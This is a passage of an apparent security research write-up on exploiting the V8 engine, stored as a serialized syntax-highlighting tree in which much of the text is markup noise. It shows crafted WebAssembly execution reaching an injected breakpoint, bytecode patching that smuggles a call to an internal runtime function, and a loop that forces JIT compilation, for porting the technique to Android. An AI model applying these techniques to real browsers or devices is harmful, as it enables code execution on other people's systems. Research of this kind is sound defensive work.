2,135126,135130,135135,135139,135143,135147,135152,135156,135160,135164,135169],{"type":23,"tag":41,"props":134951,"children":134952},{"style":164},[134953],{"type":28,"value":133915},{"type":23,"tag":41,"props":134955,"children":134956},{"style":70},[134957],{"type":28,"value":970},{"type":23,"tag":41,"props":134959,"children":134960},{"style":164},[134961],{"type":28,"value":4024},{"type":23,"tag":41,"props":134963,"children":134964},{"style":70},[134965],{"type":28,"value":970},{"type":23,"tag":41,"props":134967,"children":134968},{"style":164},[134969],{"type":28,"value":4024},{"type":23,"tag":41,"props":134971,"children":134972},{"style":70},[134973],{"type":28,"value":970},{"type":23,"tag":41,"props":134975,"children":134976},{"style":164},[134977],{"type":28,"value":4024},{"type":23,"tag":41,"props":134979,"children":134980},{"style":70},[134981],{"type":28,"value":970},{"type":23,"tag":41,"props":134983,"children":134984},{"style":164},[134985],{"type":28,"value":4024},{"type":23,"tag":41,"props":134987,"children":134988},{"style":70},[134989],{"type":28,"value":970},{"type":23,"tag":41,"props":134991,"children":134992},{"style":164},[134993],{"type":28,"value":4024},{"type":23,"tag":41,"props":134995,"children":134996},{"style":70},[134997],{"type":28,"value":970},{"type":23,"tag":41,"props":134999,"children":135000},{"style":164},[135001],{"type":28,"value":4024},{"type":23,"tag":41,"props":135003,"children":135004},{"style":70},[135005],{"type":28,"value":970},{"type":23,"tag":41,"props":135007,"children":135008},{"style":164},[135009],{"type":28,"value":4024},{"type":23,"tag":41,"props":135011,"children":135012},{"style":70},[135013],{"type":28,"value":970},{"type":23,"tag":41,"props":135015,"children":135016},{"style":164},[135017],{"type":28,"value":4024},{"type":23,"tag":41,"props":135019,"children":135020},{"style":70},[135021],{"type":28,"value":970},{"type":23,"tag":41,"props":135023,"children":135024},{"style":164},[135025],{"type":28,"value":4024},{"type":23,"tag":41,"props":135027,"children":135028},{"style":70},[135029],{"type":28,"value":970},{"type":23,"tag":41,"props":135031,"children":135032},{"style":164},[135033],{"type":28,"value":4024},{"type":23,"tag":41,"props":135035,"children":135036},{"style":70},[135037],{"type":28,"value":970},{"type":23,"tag":41,"props":135039,"children":135040},{"style":164},[135041],{"type":28,"value":4024},{"type":23,"tag":41,"props":135043,"children":135044},{"style":70},[135045],{"type":28,"value":970},{"type":23,"tag":41,"props":135047,"children":135048},{"style":164},[135049],{"type":28,"value":4024},{"type":23,"tag":41,"props":135051,"children":135052},{"style":70},[135053],{"type":28,"value":970},{"type":23,"tag":41,"props":135055,"children":135056},{"style":164},[135057],{"type":28,"value":4024},{"type":23,"tag":41,"props":135059,"children":135060},{"style":70},[135061],{"type":28,"value":970},{"type":23,"tag":41,"props":135063,"children":135064},{"style":164},[135065],{"type":28,"value":4024},{"type":23,"tag":41,"props":135067,"children":135068},{"style":70},[135069],{"type":28,"value":970},{"type":23,"tag":41,"props":135071,"children":135072},{"style":164},[135073],{"type":28,"value":3123},{"type":23,"tag":41,"props":135075,"children":135076},{"style":70},[135077],{"type":28,"value":970},{"type":23,"tag":41,"props":135079,"children":135080},{"style":164},[135081],{"type":28,"value":135082},"204",{"type":23,"tag":41,"props":135084,"children":135085},{"style":70},[135086],{"type":28,"value":970},{"type":23,"tag":41,"props":135088,"children":135089},{"style":164},[135090],{"type":28,"value":44772},{"type":23,"tag":41,"props":135092,"children":135093},{"style":70},[135094],{"type":28,"value":970},{"type":23,"tag":41,"props":135096,"children":135097},{"style":164},[135098],{"type":28,"value":135099},"137",{"type":23,"tag":41,"props":135101,"children":135102},{"style":70},[135103],{"type":28,"value":970},{"type":23,"tag":41,"props":135105,"children":135106},{"style":164},[135107],{"type":28,"value":135108},"229",{"type":23,"tag":41,"props":135110,"children":135111},{"style":70},[135112],{"type":28,"value":970},{"type":23,"tag":41,"props":135114,"children":135115},{"style":164},[135116],{"type":28,"value":135117},"106",{"type":23,"tag":41,"props":135119,"children":135120},{"style":70},[135121],{"type":28,"value":970},{"type":23,"tag":41,"props":135123,"children":135124},{"style":164},[135125],{"type":28,"value":4078},{"type":23,"tag":41,"props":135127,"children":135128},{"style":70},[135129],{"type":28,"value":970},{"type":23,"tag":41,"props":135131,"children":135132},{"style":164},[135133],{"type":28,"value":135134},"86",{"type":23,"tag":41,"props":135136,"children":135137},{"style":70},[135138],{"type":28,"value":970},{"type":23,"tag":41,"props":135140,"children":135141},{"style":164},[135142],{"type":28,"value":44772},{"type":23,"tag":41,"props":135144,"children":135145},{"style":70},[135146],{"type":28,"value":970},{"type":23,"tag":41,"props":135148,"children":135149},{"style":164},[135150],{"type":28,"value":135151},"139",{"type":23,"tag":41,"props":135153,"children":135154},{"style":70},[135155],{"type":28,"value":970},{"type":23,"tag":41,"props":135157,"children":135158},{"style":164},[135159],{"type":28,"value":135108},{"type":23,"tag":41,"props":135161,"children":135162},{"style":70},[135163],{"type":28,"value":970},{"type":23,"tag":41,"props":135165,"children":135166},{"style":164},[135167],{"type":28,"value":135168},"93",{"type":23,"tag":41,"props":135170,"children":135171},{"style":70},[135172],{"type":28,"value":3506},{"type":23,"tag":41,"props":135174,"children":135175},{"class":43,"line":930},[135176,135181,135185,135189,135193,135197,135201,135205,135209,135213,135217,135221,135225,135229,135233,135237,135241,135245,135249,135253,135257,135261,135265,135269,135273,135277,135281,135285,135289,135293,135297,135301,135305,135309,135313,135317,135321,135325,135329,135333,135337,135341,135345,135349,135353,135357,135361,135365,135369,135373,135377,135381,135385,135389,135393,135397,135401,135405,135409,135413],{"type":23,"tag":41,"props":135177,"children":135178},{"style":164},[135179],{"type":28,"value":135180},"    195",{"type":23,"tag":41,"props":135182,"children":135183},{"style":70},[135184],{"type":28,"value":970},{"type":23,"tag":41,"props":135186,"children":135187},{"style":164},[135188],{"type":28,"value":44300},{"type":23,"tag":41,"props":135190,"children":135191},{"style":70},[135192],{"type":28,"value":970},{"type":23,"tag":41,"props":135194,"children":135195},{"style":164},[135196],{"type":28,"value":59610},{"type":23,"tag":41,"props":135198,"children":135199},{"style":70},[135200],{"type":28,"value":970},{"type":23,"tag":41,"props":135202,"children":135203},{"style":164},[135204],{"type":28,"value":96385},{"type":23,"tag":41,"props":135206,"children":135207},{"style":70},[135208],{"type":28,"value":970},{"type":23,"tag":41,"props":135210,"children":135211},{"style":164},[135212],{"type":28,"value":4024},{"type":23,"tag":41,"props":135214,"children":135215},{"style":70},[135216],{"type":28,"value":970},{"type":23,"tag":41,"props":135218,"children":135219},{"style":164},[135220],{"type":28,"value":17515},{"type":23,"tag":41,"props":135222,"children":135223},{"style":70},[135224],{"type":28,"value":970},{"type":23,"tag":41,"props":135226,"children":135227},{"style":164},[135228],{"type":28,"value":4024},{"type":23,"tag":41,"props":135230,"children":135231},{"style":70},[135232],{"type":28,"value":970},{"type":23,"tag":41,"props":135234,"children":135235},{"style":164},[135236],{"type":28,"value":4024},{"type":23,"tag":41,"props":135238,"children":135239},{"style":70},[135240],{"type":28,"value":970},{"type":23,"tag":41,"props":135242,"children":135243},{"style":164},[135244],{"type":28,"value":4024},{"type":23,"tag":41,"props":135246,"children":135247},{"style":70},[135248],{"type":28,"value":970},{"type":23,"tag":41,"props":135250,"children":135251},{"style":164},[135252],{"type":28,"value":4024},{"type":23,"tag":41,"props":135254,"children":135255},{"style":70},[135256],{"type":28,"value":970},{"type":23,"tag":41,"props":135258,"children":135259},{"style":164},[135260],{"type":28,"value":4024},{"type":23,"tag":41,"props":135262,"children":135263},{"style":70},[135264],{"type":28,"value":970},{"type":23,"tag":41,"props":135266,"children":135267},{"style":164},[135268],{"type":28,"value":4024},{"type":23,"tag":41,"props":135270,"children":135271},{"style":70},[135272],{"type":28,"value":970},{"type":23,"tag":41,"props":135274,"children":135275},{"style":164},[135276],{"type":28,"value":4024},{"type":23,"tag":41,"props":135278,"children":135279},{"style":70},[135280],{"type":28,"value":970},{"type":23,"tag":41,"props":135282,"children":135283},{"style":164},[135284],{"type":28,"value":4024},{"type":23,"tag":41,"props":135286,"children":135287},{"style":70},[135288],{"type":28,"value":970},{"type":23,"tag":41,"props":135290,"children":135291},{"style":164},[135292],{"type":28,"value":17515},{"type":23,"tag":41,"props":135294,"children":135295},{"style":70},[135296],{"type":28,"value":970},{"type":23,"tag":41,"props":135298,"children":135299},{"style":164},[135300],{"type":28,"value":4024},{"type":23,"tag":41,"props":135302,"children":135303},{"style":70},[135304],{"type":28,"value":970},{"type":23,"tag":41,"props":135306,"children":135307},{"style":164},[135308],{"type":28,"value":4024},{"type":23,"tag":41,"props":135310,"children":135311},{"style":70},[135312],{"type":28,"value":970},{"type":23,"tag":41,"props":135314,"children":135315},{"style":164},[135316],{"type":28,"value":4024},{"type":23,"tag":41,"props":135318,"children":135319},{"style":70},[135320],{"type":28,"value":970},{"type":23,"tag":41,"props":135322,"children":135323},{"style":164},[135324],{"type":28,"value":4024},{"type":23,"tag":41,"props":135326,"children":135327},{"style":70},[135328],{"type":28,"value":970},{"type":23,"tag":41,"props":135330,"children":135331},{"style":164},[135332],{"type":28,"value":4024},{"type":23,"tag":41,"props":135334,"children":135335},{"style":70},[135336],{"type":28,"value":970},{"type":23,"tag":41,"props":135338,"children":135339},{"style":164},[135340],{"type":28,"value":4024},{"type":23,"tag":41,"props":135342,"children":135343},{"style":70},[135344],{"type":28,"value":970},{"type":23,"tag":41,"props":135346,"children":135347},{"style":164},[135348],{"type":28,"value":4024},{"type":23,"tag":41,"props":135350,"children":135351},{"style":70},[135352],{"type":28,"value":970},{"type":23,"tag":41,"props":135354,"children":135355},{"style":164},[135356],{"type":28,"value":4024},{"type":23,"tag":41,"props":135358,"children":135359},{"style":70},[135360],{"type":28,"value":970},{"type":23,"tag":41,"props":135362,"children":135363},{"style":164},[135364],{"type":28,"value":4024},{"type":23,"tag":41,"props":135366,"children":135367},{"style":70},[135368],{"type":28,"value":970},{"type":23,"tag":41,"props":135370,"children":135371},{"style":164},[135372],{"type":28,"value":4024},{"type":23,"tag":41,"props":135374,"children":135375},{"style":70},[135376],{"type":28,"value":970},{"type":23,"tag":41,"props":135378,"children":135379},{"style":164},[135380],{"type":28,"value":4024},{"type":23,"tag":41,"props":135382,"children":135383},{"style":70},[135384],{"type":28,"value":970},{"type":23,"tag":41,"props":135386,"children":135387},{"style":164},[135388],{"type":28,"value":4024},{"type":23,"tag":41,"props":135390,"children":135391},{"style":70},[135392],{"type":28,"value":970},{"type":23,"tag":41,"props":135394,"children":135395},{"style":164},[135396],{"type":28,"value":4024},{"type":23,"tag":41,"props":135398,"children":135399},{"style":70},[135400],{"type":28,"value":970},{"type":23,"tag":41,"props":135402,"children":135403},{"style":164},[135404],{"type":28,"value":4024},{"type":23,"tag":41,"props":135406,"children":135407},{"style":70},[135408],{"type":28,"value":970},{"type":23,"tag":41,"props":135410,"children":135411},{"style":164},[135412],{"type":28,"value":4024},{"type":23,"tag":41,"props":135414,"children":135415},{"style":70},[135416],{"type":28,"value":3506},{"type":23,"tag":41,"props":135418,"children":135419},{"class":43,"line":939},[135420,135424,135428,135432,135436,135440,135444,135448,135452,135456,135460,135464,135468,135472,135476,135480,135484,135488,135492,135496,135500,135504,135508,135512,135516,135520,135524,135528,135532,135536,135540,135544,135548,135552,135556,135560,135564,135568,135572,135576,135580,135584,135588,135592,135596,135600,135604,135608,135612,135616,135620,135625,135629,135633],{"type":23,"tag":41,"props":135421,"children":135422},{"style":164},[135423],{"type":28,"value":133915},{"type":23,"tag":41,"props":135425,"children":135426},{"style":70},[135427],{"type":28,"value":970},{"type":23,"tag":41,"props":135429,"children":135430},{"style":164},[135431],{"type":28,"value":4024},{"type":23,"tag":41,"props":135433,"children":135434},{"style":70},[135435],{"type":28,"value":970},{"type":23,"tag":41,"props":135437,"children":135438},{"style":164},[135439],{"type":28,"value":4024},{"type":23,"tag":41,"props":135441,"children":135442},{"style":70},[135443],{"type":28,"value":970},{"type":23,"tag":41,"props":135445,"children":135446},{"style":164},[135447],{"type":28,"value":4024},{"type":23,"tag":41,"props":135449,"children":135450},{"style":70},[135451],{"type":28,"value":970},{"type":23,"tag":41,"props":135453,"children":135454},{"style":164},[135455],{"type":28,"value":4024},{"type":23,"tag":41,"props":135457,"children":135458},{"style":70},[135459],{"type":28,"value":970},{"type":23,"tag":41,"props":135461,"children":135462},{"style":164},[135463],{"type":28,"value":4024},{"type":23,"tag":41,"props":135465,"children":135466},{"style":70},[135467],{"type":28,"value":970},{"type":23,"tag":41,"props":135469,"children":135470},{"style":164},[135471],{"type":28,"value":4024},{"type":23,"tag":41,"props":135473,"children":135474},{"style":70},[135475],{"type":28,"value":970},{"type":23,"tag":41,"props":135477,"children":135478},{"style":164},[135479],{"type":28,"value":4024},{"type":23,"tag":41,"props":135481,"children":135482},{"style":70},[135483],{"type":28,"value":970},{"type":23,"tag":41,"props":135485,"children":135486},{"style":164},[135487],{"type":28,"value":4024},{"type":23,"tag":41,"props":135489,"children":135490},{"style":70},[135491],{"type":28,"value":970},{"type":23,"tag":41,"props":135493,"children":135494},{"style":164},[135495],{"type":28,"value":4024},{"type":23,"tag":41,"props":135497,"children":135498},{"style":70},[135499],{"type":28,"value":970},{"type":23,"tag":41,"props":135501,"children":135502},{"style":164},[135503],{"type":28,"value":4024},{"type":23,"tag":41,"props":135505,"children":135506},{"style":70},[135507],{"type":28,"value":970},{"type":23,"tag":41,"props":135509,"children":135510},{"style":164},[135511],{"type":28,"value":4024},{"type":23,"tag":41,"props":135513,"children":135514},{"style":70},[135515],{"type":28,"value":970},{"type":23,"tag":41,"props":135517,"children":135518},{"style":164},[135519],{"type":28,"value":4024},{"type":23,"tag":41,"props":135521,"children":135522},{"style":70},[135523],{"type":28,"value":970},{"type":23,"tag":41,"props":135525,"children":135526},{"style":164},[135527],{"type":28,"value":4024},{"type":23,"tag":41,"props":135529,"children":135530},{"style":70},[135531],{"type":28,"value":970},{"type":23,"tag":41,"props":135533,"children":135534},{"style":164},[135535],{"type":28,"value":4024},{"type":23,"tag":41,"props":135537,"children":135538},{"style":70},[135539],{"type":28,"value":970},{"type":23,"tag":41,"props":135541,"children":135542},{"style":164},[135543],{"type":28,"value":4024},{"type":23,"tag":41,"props":135545,"children":135546},{"style":70},[135547],{"type":28,"value":970},{"type":23,"tag":41,"props":135549,"children":135550},{"style":164},[135551],{"type":28,"value":4024},{"type":23,"tag":41,"props":135553,"children":135554},{"style":70},[135555],{"type":28,"value":970},{"type":23,"tag":41,"props":135557,"children":135558},{"style":164},[135559],{"type":28,"value":4024},{"type":23,"tag":41,"props":135561,"children":135562},{"style":70},[135563],{"type":28,"value":970},{"type":23,"tag":41,"props":135565,"children":135566},{"style":164},[135567],{"type":28,"value":4024},{"type":23,"tag":41,"props":135569,"children":135570},{"style":70},[135571],{"type":28,"value":970},{"type":23,"tag":41,"props":135573,"children":135574},{"style":164},[135575],{"type":28,"value":4024},{"type":23,"tag":41,"props":135577,"children":135578},{"style":70},[135579],{"type":28,"value":970},{"type":23,"tag":41,"props":135581,"children":135582},{"style":164},[135583],{"type":28,"value":4024},{"type":23,"tag":41,"props":135585,"children":135586},{"style":70},[135587],{"type":28,"value":970},{"type":23,"tag":41,"props":135589,"children":135590},{"style":164},[135591],{"type":28,"value":4024},{"type":23,"tag":41,"props":135593,"children":135594},{"style":70},[135595],{"type":28,"value":970},{"type":23,"tag":41,"props":135597,"children":135598},{"style":164},[135599],{"type":28,"value":4024},{"type":23,"tag":41,"props":135601,"children":135602},{"style":70},[135603],{"type":28,"value":970},{"type":23,"tag":41,"props":135605,"children":135606},{"style":164},[135607],{"type":28,"value":29419},{"type":23,"tag":41,"props":135609,"children":135610},{"style":70},[135611],{"type":28,"value":970},{"type":23,"tag":41,"props":135613,"children":135614},{"style":164},[135615],{"type":28,"value":135168},{"type":23,"tag":41,"props":135617,"children":135618},{"style":70},[135619],{"type":28,"value":970},{"type":23,"tag":41,"props":135621,"children":135622},{"style":164},[135623],{"type":28,"value":135624},"198",{"type":23,"tag":41,"props":135626,"children":135627},{"style":70},[135628],{"type":28,"value":970},{"type":23,"tag":41,"props":135630,"children":135631},{"style":164},[135632],{"type":28,"value":4024},{"type":23,"tag":41,"props":135634,"children":135635},{"style":70},[135636],{"type":28,"value":3506},{"type":23,"tag":41,"props":135638,"children":135639},{"class":43,"line":947},[135640],{"type":23,"tag":41,"props":135641,"children":135642},{"style":70},[135643],{"type":28,"value":134202},{"type":23,"tag":41,"props":135645,"children":135646},{"class":43,"line":985},[135647,135651,135656,135660,135665,135669,135673,135677,135681,135685,135689],{"type":23,"tag":41,"props":135648,"children":135649},{"style":64},[135650],{"type":28,"value":7855},{"type":23,"tag":41,"props":135652,"children":135653},{"style":858},[135654],{"type":28,"value":135655}," r",{"type":23,"tag":41,"props":135657,"children":135658},{"style":170},[135659],{"type":28,"value":3017},{"type":23,"tag":41,"props":135661,"children":135662},{"style":114},[135663],{"type":28,"value":135664}," bug",{"type":23,"tag":41,"props":135666,"children":135667},{"style":70},[135668],{"type":28,"value":1737},{"type":23,"tag":41,"props":135670,"children":135671},{"style":858},[135672],{"type":28,"value":133533},{"type":23,"tag":41,"props":135674,"children":135675},{"style":70},[135676],{"type":28,"value":970},{"type":23,"tag":41,"props":135678,"children":135679},{"style":858},[135680],{"type":28,"value":124860},{"type":23,"tag":41,"props":135682,"children":135683},{"style":70},[135684],{"type":28,"value":706},{"type":23,"tag":41,"props":135686,"children":135687},{"style":858},[135688],{"type":28,"value":124860},{"type":23,"tag":41,"props":135690,"children":135691},{"style":70},[135692],{"type":28,"value":3825},{"type":23,"tag":41,"props":135694,"children":135695},{"class":43,"line":1058},[135696,135701,135705,135709,135713,135717,135721,135725,135730,135734],{"type":23,"tag":41,"props":135697,"children":135698},{"style":858},[135699],{"type":28,"value":135700},"  result",{"type":23,"tag":41,"props":135702,"children":135703},{"style":170},[135704],{"type":28,"value":3017},{"type":23,"tag":41,"props":135706,"children":135707},{"style":70},[135708],{"type":28,"value":142},{"type":23,"tag":41,"props":135710,"children":135711},{"style":58},[135712],{"type":28,"value":32909},{"type":23,"tag":41,"props":135714,"children":135715},{"style":858},[135716],{"type":28,"value":135655},{"type":23,"tag":41,"props":135718,"children":135719},{"style":70},[135720],{"type":28,"value":706},{"type":23,"tag":41,"props":135722,"children":135723},{"style":114},[135724],{"type":28,"value":57561},{"type":23,"tag":41,"props":135726,"children":135727},{"style":70},[135728],{"type":28,"value":135729},"()).",{"type":23,"tag":41,"props":135731,"children":135732},{"style":858},[135733],{"type":28,"value":1652},{"type":23,"tag":41,"props":135735,"children":135736},{"style":70},[135737],{"type":28,"value":183},{"type":23,"tag":41,"props":135739,"children":135740},{"class":43,"line":1084},[135741,135745,135750,135754,135758,135762,135766,135770,135774,135778],{"type":23,"tag":41,"props":135742,"children":135743},{"style":64},[135744],{"type":28,"value":36183},{"type":23,"tag":41,"props":135746,"children":135747},{"style":858},[135748],{"type":28,"value":135749}," wasm_instance",{"type":23,"tag":41,"props":135751,"children":135752},{"style":170},[135753],{"type":28,"value":3017},{"type":23,"tag":41,"props":135755,"children":135756},{"style":64},[135757],{"type":28,"value":31927},{"type":23,"tag":41,"props":135759,"children":135760},{"style":858},[135761],{"type":28,"value":133516},{"type":23,"tag":41,"props":135763,"children":135764},{"style":70},[135765],{"type":28,"value":706},{"type":23,"tag":41,"props":135767,"children":135768},{"style":114},[135769],{"type":28,"value":133570},{"type":23,"tag":41,"props":135771,"children":135772},{"style":70},[135773],{"type":28,"value":1737},{"type":23,"tag":41,"props":135775,"children":135776},{"style":858},[135777],{"type":28,"value":9079},{"type":23,"tag":41,"props":135779,"children":135780},{"style":70},[135781],{"type":28,"value":3825},{"type":23,"tag":41,"props":135783,"children":135784},{"class":43,"line":1102},[135785,135789,135793,135797,135801,135805,135809,135813,135817],{"type":23,"tag":41,"props":135786,"children":135787},{"style":64},[135788],{"type":28,"value":36183},{"type":23,"tag":41,"props":135790,"children":135791},{"style":858},[135792],{"type":28,"value":32964},{"type":23,"tag":41,"props":135794,"children":135795},{"style":170},[135796],{"type":28,"value":3017},{"type":23,"tag":41,"props":135798,"children":135799},{"style":858},[135800],{"type":28,"value":135749},{"type":23,"tag":41,"props":135802,"children":135803},{"style":70},[135804],{"type":28,"value":706},{"type":23,"tag":41,"props":135806,"children":135807},{"style":858},[135808],{"type":28,"value":37881},{"type":23,"tag":41,"props":135810,"children":135811},{"style":70},[135812],{"type":28,"value":706},{"type":23,"tag":41,"props":135814,"children":135815},{"style":858},[135816],{"type":28,"value":133619},{"type":23,"tag":41,"props":135818,"children":135819},{"style":70},[135820],{"type":28,"value":183},{"type":23,"tag":41,"props":135822,"children":135823},{"class":43,"line":1110},[135824,135829],{"type":23,"tag":41,"props":135825,"children":135826},{"style":114},[135827],{"type":28,"value":135828},"  f",{"type":23,"tag":41,"props":135830,"children":135831},{"style":70},[135832],{"type":28,"value":3669},{"type":23,"tag":41,"props":135834,"children":135835},{"class":43,"line":1118},[135836],{"type":23,"tag":41,"props":135837,"children":135838},{"style":70},[135839],{"type":28,"value":101703},{"type":23,"tag":24,"props":135841,"children":135842},{},[135843],{"type":28,"value":135844},"Running this in a debugger shows the expected breakpoint:",{"type":23,"tag":31,"props":135846,"children":135848},{"code":135847},"Thread 1 \"d8\" received signal SIGTRAP, Trace/breakpoint trap.\n0x00002ae46bfc1841 in ?? ()\n────────────────────────────────────────────────────────────────────────────\n   0x2ae46bfc183c                  add    BYTE PTR [rax], al\n   0x2ae46bfc183e                  add    BYTE PTR [rax], al\n   0x2ae46bfc1840                  int3\n → 0x2ae46bfc1841                  mov    rbp, rsp\n",[135849],{"type":23,"tag":37,"props":135850,"children":135851},{"__ignoreMap":7},[135852],{"type":28,"value":135847},{"type":23,"tag":546,"props":135854,"children":135856},{"id":135855},"porting-to-android",[135857],{"type":28,"value":135858},"Porting to Android",{"type":23,"tag":24,"props":135860,"children":135861},{},[135862,135864,135869,135871,135876,135878,135883,135885,135891],{"type":28,"value":135863},"The serialized x86-64 code can’t be used on the device because the architecture differs, and ",{"type":23,"tag":37,"props":135865,"children":135867},{"className":135866},[],[135868],{"type":28,"value":132648},{"type":28,"value":135870}," fails. We cross-compiled ",{"type":23,"tag":37,"props":135872,"children":135874},{"className":135873},[],[135875],{"type":28,"value":131807},{"type":28,"value":135877}," for arm64 and serialized the module there, but this still didn’t work on the device and ",{"type":23,"tag":37,"props":135879,"children":135881},{"className":135880},[],[135882],{"type":28,"value":132648},{"type":28,"value":135884}," returned ",{"type":23,"tag":37,"props":135886,"children":135888},{"className":135887},[],[135889],{"type":28,"value":135890},"undefined",{"type":28,"value":706},{"type":23,"tag":24,"props":135893,"children":135894},{},[135895,135897,135902,135904,135909],{"type":28,"value":135896},"Instead, we modified the bytecode to call ",{"type":23,"tag":37,"props":135898,"children":135900},{"className":135899},[],[135901],{"type":28,"value":132674},{"type":28,"value":135903}," directly on the device. The idea is to serialize the code on the device and then feed the resulting bytes back into the original bytecode that calls ",{"type":23,"tag":37,"props":135905,"children":135907},{"className":135906},[],[135908],{"type":28,"value":132648},{"type":28,"value":706},{"type":23,"tag":31,"props":135911,"children":135913},{"code":135912,"language":35610,"meta":7,"className":35608,"style":7},"try {\n  ${'a1 + 0xa931111;'.repeat(0x059301 - 1)}\n  a1 + 0x03027a6c;\n  throw 0x393e71a;\n} catch (e) {\n  console.log(\"foo\");\n  yield a16;\n}\n",[135914],{"type":23,"tag":37,"props":135915,"children":135916},{"__ignoreMap":7},[135917,135928,135972,135992,136008,136031,136058,136073],{"type":23,"tag":41,"props":135918,"children":135919},{"class":43,"line":44},[135920,135924],{"type":23,"tag":41,"props":135921,"children":135922},{"style":58},[135923],{"type":28,"value":48325},{"type":23,"tag":41,"props":135925,"children":135926},{"style":70},[135927],{"type":28,"value":102},{"type":23,"tag":41,"props":135929,"children":135930},{"class":43,"line":54},[135931,135935,135939,135943,135947,135951,135955,135960,135964,135968],{"type":23,"tag":41,"props":135932,"children":135933},{"style":858},[135934],{"type":28,"value":132915},{"type":23,"tag":41,"props":135936,"children":135937},{"style":70},[135938],{"type":28,"value":76613},{"type":23,"tag":41,"props":135940,"children":135941},{"style":735},[135942],{"type":28,"value":132924},{"type":23,"tag":41,"props":135944,"children":135945},{"style":70},[135946],{"type":28,"value":706},{"type":23,"tag":41,"props":135948,"children":135949},{"style":114},[135950],{"type":28,"value":132933},{"type":23,"tag":41,"props":135952,"children":135953},{"style":70},[135954],{"type":28,"value":1737},{"type":23,"tag":41,"props":135956,"children":135957},{"style":164},[135958],{"type":28,"value":135959},"0x059301",{"type":23,"tag":41,"props":135961,"children":135962},{"style":170},[135963],{"type":28,"value":51250},{"type":23,"tag":41,"props":135965,"children":135966},{"style":164},[135967],{"type":28,"value":167},{"type":23,"tag":41,"props":135969,"children":135970},{"style":70},[135971],{"type":28,"value":132955},{"type":23,"tag":41,"props":135973,"children":135974},{"class":43,"line":76},[135975,135979,135983,135988],{"type":23,"tag":41,"props":135976,"children":135977},{"style":858},[135978],{"type":28,"value":132963},{"type":23,"tag":41,"props":135980,"children":135981},{"style":170},[135982],{"type":28,"value":8901},{"type":23,"tag":41,"props":135984,"children":135985},{"style":164},[135986],{"type":28,"value":135987}," 0x03027a6c",{"type":23,"tag":41,"props":135989,"children":135990},{"style":70},[135991],{"type":28,"value":183},{"type":23,"tag":41,"props":135993,"children":135994},{"class":43,"line":85},[135995,135999,136004],{"type":23,"tag":41,"props":135996,"children":135997},{"style":58},[135998],{"type":28,"value":35196},{"type":23,"tag":41,"props":136000,"children":136001},{"style":164},[136002],{"type":28,"value":136003}," 0x393e71a",{"type":23,"tag":41,"props":136005,"children":136006},{"style":70},[136007],{"type":28,"value":183},{"type":23,"tag":41,"props":136009,"children":136010},{"class":43,"line":105},[136011,136015,136019,136023,136027],{"type":23,"tag":41,"props":136012,"children":136013},{"style":70},[136014],{"type":28,"value":46867},{"type":23,"tag":41,"props":136016,"children":136017},{"style":58},[136018],{"type":28,"value":48405},{"type":23,"tag":41,"props":136020,"children":136021},{"style":70},[136022],{"type":28,"value":142},{"type":23,"tag":41,"props":136024,"children":136025},{"style":858},[136026],{"type":28,"value":51449},{"type":23,"tag":41,"props":136028,"children":136029},{"style":70},[136030],{"type":28,"value":152},{"type":23,"tag":41,"props":136032,"children":136033},{"class":43,"line":155},[136034,136038,136042,136046,136050,136054],{"type":23,"tag":41,"props":136035,"children":136036},{"style":858},[136037],{"type":28,"value":101662},{"type":23,"tag":41,"props":136039,"children":136040},{"style":70},[136041],{"type":28,"value":706},{"type":23,"tag":41,"props":136043,"children":136044},{"style":114},[136045],{"type":28,"value":101671},{"type":23,"tag":41,"props":136047,"children":136048},{"style":70},[136049],{"type":28,"value":1737},{"type":23,"tag":41,"props":136051,"children":136052},{"style":735},[136053],{"type":28,"value":133039},{"type":23,"tag":41,"props":136055,"children":136056},{"style":70},[136057],{"type":28,"value":3825},{"type":23,"tag":41,"props":136059,"children":136060},{"class":43,"line":186},[136061,136065,136069],{"type":23,"tag":41,"props":136062,"children":136063},{"style":58},[136064],{"type":28,"value":133051},{"type":23,"tag":41,"props":136066,"children":136067},{"style":858},[136068],{"type":28,"value":133056},{"type":23,"tag":41,"props":136070,"children":136071},{"style":70},[136072],{"type":28,"value":183},{"type":23,"tag":41,"props":136074,"children":136075},{"class":43,"line":195},[136076],{"type":23,"tag":41,"props":136077,"children":136078},{"style":70},[136079],{"type":28,"value":201},{"type":23,"tag":24,"props":136081,"children":136082},{},[136083,136085,136091,136093,136099,136101,136107,136109,136114,136116,136122,136124,136129,136130,136136],{"type":28,"value":136084},"Here, ",{"type":23,"tag":37,"props":136086,"children":136088},{"className":136087},[],[136089],{"type":28,"value":136090},"a1 + 0x03027a6c",{"type":28,"value":136092}," generates the bytes ",{"type":23,"tag":37,"props":136094,"children":136096},{"className":136095},[],[136097],{"type":28,"value":136098},"01 4b 6c 7a 02 03",{"type":28,"value":136100},", where ",{"type":23,"tag":37,"props":136102,"children":136104},{"className":136103},[],[136105],{"type":28,"value":136106},"0x6c",{"type":28,"value":136108}," is the ",{"type":23,"tag":37,"props":136110,"children":136112},{"className":136111},[],[136113],{"type":28,"value":132632},{"type":28,"value":136115}," opcode, ",{"type":23,"tag":37,"props":136117,"children":136119},{"className":136118},[],[136120],{"type":28,"value":136121},"0x027a",{"type":28,"value":136123}," is the function ID of ",{"type":23,"tag":37,"props":136125,"children":136127},{"className":136126},[],[136128],{"type":28,"value":132674},{"type":28,"value":6486},{"type":23,"tag":37,"props":136131,"children":136133},{"className":136132},[],[136134],{"type":28,"value":136135},"0x03",{"type":28,"value":136137}," is the register index holding its first argument.",{"type":23,"tag":24,"props":136139,"children":136140},{},[136141,136143,136148,136149,136154,136156,136161],{"type":28,"value":136142},"Our earlier javascript snippet that serialized the wasm module used two native calls: ",{"type":23,"tag":37,"props":136144,"children":136146},{"className":136145},[],[136147],{"type":28,"value":132674},{"type":28,"value":1361},{"type":23,"tag":37,"props":136150,"children":136152},{"className":136151},[],[136153],{"type":28,"value":133642},{"type":28,"value":136155},". To avoid patching the bytecode again to invoke ",{"type":23,"tag":37,"props":136157,"children":136159},{"className":136158},[],[136160],{"type":28,"value":133642},{"type":28,"value":136162},", we can force Turbofan to compile the target function like this:",{"type":23,"tag":31,"props":136164,"children":136166},{"code":136165,"language":35610,"meta":7,"className":35608,"style":7},"// %WasmTierUpFunction(func);\nfor (let i = 0; i \u003C 0x100000; i++) {\n  func();\n}\n",[136167],{"type":23,"tag":37,"props":136168,"children":136169},{"__ignoreMap":7},[136170,136178,136238,136250],{"type":23,"tag":41,"props":136171,"children":136172},{"class":43,"line":44},[136173],{"type":23,"tag":41,"props":136174,"children":136175},{"style":48},[136176],{"type":28,"value":136177},"// 